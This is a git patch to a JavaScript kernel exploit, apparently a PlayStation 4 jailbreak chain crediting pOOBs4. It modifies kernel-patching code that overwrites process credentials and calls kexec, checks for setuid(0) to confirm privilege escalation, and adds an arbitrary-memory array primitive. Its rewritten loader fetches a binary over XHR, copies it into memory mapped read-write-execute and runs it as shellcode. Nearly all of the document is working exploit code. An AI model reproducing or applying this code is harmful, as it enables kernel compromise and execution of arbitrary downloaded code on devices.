From bca8c9ac74b92bd0e09fff27fc6df7a954aba0b0 Mon Sep 17 00:00:00 2001 From: Al Azif <33132478+Al-Azif@users.noreply.github.com> Date: Tue, 10 Jun 2025 12:46:06 -0700 Subject: [PATCH] Make requested changes to payload loader - Added comments to explain it --- src/lapse.mjs | 66 +++++++++++++++++++++++++++++++++++---------------- 1 file changed, 45 insertions(+), 21 deletions(-) diff --git a/src/lapse.mjs b/src/lapse.mjs index f1c1a34..36713fe 100644 --- a/src/lapse.mjs +++ b/src/lapse.mjs @@ -1541,7 +1541,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff const buf = await get_binary(patch_elf_loc); - const patches = new View1(await buf); + const patches = new View1(buf); let map_size = patches.size; const max_size = 0x10000000; if (map_size > max_size) { @@ -1597,14 +1597,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log("execute kpatch...") mem.cpy(write_addr, patches.addr, patches.size); sys_void("kexec", exec_addr, ...restore_info); - - log("munlock save data used in kernel restore"); - sysi("munlock", restore_info[1], page_size); - sysi("munlock", restore_info[4], page_size); - - log("setuid(0)"); - sysi("setuid", 0); - log("kernel exploit succeeded!"); } // FUNCTIONS FOR STAGE: SETUP @@ -1731,12 +1723,15 @@ export async function kexploit() { } // Check if it all worked + log("setuid(0)"); try { if (sysi("setuid", 0) == 0) { + log("kernel exploit succeeded!"); return true; } } catch { // Still not exploited, something failed, but it made it here... + die("kernel exploit failed!"); } return false; @@ -1760,6 +1755,17 @@ function malloc32(sz) { return ptr; } +// ChendoChap's from pOOBs4 +function array_from_address(addr, size) { + const og_array = new Uint32Array(0x1000); + const og_array_i = mem.addrof(og_array).add(0x10); + mem.write64(og_array_i, addr); + mem.write32(og_array_i.add(0x8), size); + mem.write32(og_array_i.add(0xC), 0x1); + nogc.push(og_array); + return og_array; +} + // ChendoChap's from pOOBs4 function runBinLoader() { const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0); @@ -1839,34 +1845,52 @@ function runBinLoader() { } function runPayload(path) { + // Why xhr instead of fetch? More universal support, more control, better errors, etc. log(`loading ${path}`); const xhr = new XMLHttpRequest(); xhr.open("GET", path); xhr.responseType = "arraybuffer"; xhr.onreadystatechange = function () { + // When request is "DONE" if (xhr.readyState === 4) { + // If response code is "OK" if (xhr.status === 200) { try { - const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x41000, 0xffffffff, 0); + // Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment + const padding_length = (4 - (xhr.response.byteLength % 4)) % 4; + const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length); + + // Load xhr response data into the payload buffer and pad the rest with zeros + padded_buffer.set(new Uint8Array(xhr.response), 0); + if (padding_length) { + padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength); + } + + // Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects + const shellcode = new Uint32Array(padded_buffer.buffer); + + // Map memory with RWX permissions to load the payload into + const payload_buffer = chain.sysp('mmap', 0x0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, 0xffffffff, 0); log(`payload buffer allocated at ${payload_buffer}`); - // Trick for 4 bytes padding - const padding = new Uint8Array(4 - ((xhr.response.byteLength % 4) % 4)); - const tmp = new Uint8Array(xhr.response.byteLength + padding.byteLength); - tmp.set(new Uint8Array(xhr.response), 0); - tmp.set(padding, xhr.response.byteLength); + // Create an JS array that "shadows" the mapped location + const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length); - const shellcode = new Uint32Array(tmp.buffer); - for (let i = 0; i < shellcode.length; i++) { - mem.write32(payload_buffer.add(0x100000 + i * 4), shellcode[i]); - } - log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding.length} bytes padding)`); + // Move the shellcode to the array created in the previous step + payload_buffer_shadow.set(shellcode); + log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`); + + // Call the payload chain.call_void(payload_buffer); - sysi("munmap", payload_buffer, 0x300000); + + // Unmap the memory used for the payload + sysi("munmap", payload_buffer, padded_buffer.length); } catch (e) { + // Caught error while trying to execute payload log(`error in runPayload: ${e.message}`); } } else { + // Some other HTTP response code (eg. 404) log(`error retrieving payload, ${xhr.status}`); } }